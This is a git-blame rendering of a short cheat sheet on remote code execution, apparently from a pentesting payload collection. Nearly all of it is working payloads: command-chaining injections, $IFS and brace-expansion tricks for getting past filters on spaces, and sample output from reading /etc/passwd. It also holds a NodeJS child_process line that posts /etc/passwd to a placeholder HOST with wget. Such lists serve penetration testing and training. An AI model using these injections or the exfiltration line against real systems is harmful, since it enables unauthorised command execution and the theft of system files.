2016-10-18 06:02:14 +00:00
|
|
|
# Remote Code Execution
|
|
|
|
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
|
|
|
|
|
2016-10-18 08:01:56 +00:00
|
|
|
|
2016-10-18 06:39:17 +00:00
|
|
|
## Exploits
|
2016-11-17 03:50:34 +00:00
|
|
|
Normal code execution, execute the command and voila :p
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
|
|
|
cat /etc/passwd
|
2016-10-18 06:04:50 +00:00
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
|
|
|
|
2016-11-11 17:17:33 +00:00
|
|
|
Code execution by chaining commands
|
|
|
|
```
|
|
|
|
original_cmd_by_server; ls
|
|
|
|
original_cmd_by_server && ls
|
|
|
|
original_cmd_by_server | ls
|
|
|
|
```
|
2016-10-18 06:02:14 +00:00
|
|
|
|
|
|
|
Code execution without space
|
|
|
|
```
|
2016-11-11 17:17:33 +00:00
|
|
|
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
|
|
|
|
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
|
|
|
RCE
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
2016-10-18 06:02:14 +00:00
|
|
|
```
|
2016-10-18 08:01:56 +00:00
|
|
|
|
2016-10-18 06:02:14 +00:00
|
|
|
NodeJS Code execution
|
2016-10-18 08:01:56 +00:00
|
|
|
```
|
2016-11-17 03:50:34 +00:00
|
|
|
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
|
2016-10-18 08:01:56 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
## Thanks to
|
2016-10-18 06:02:14 +00:00
|
|
|
*
|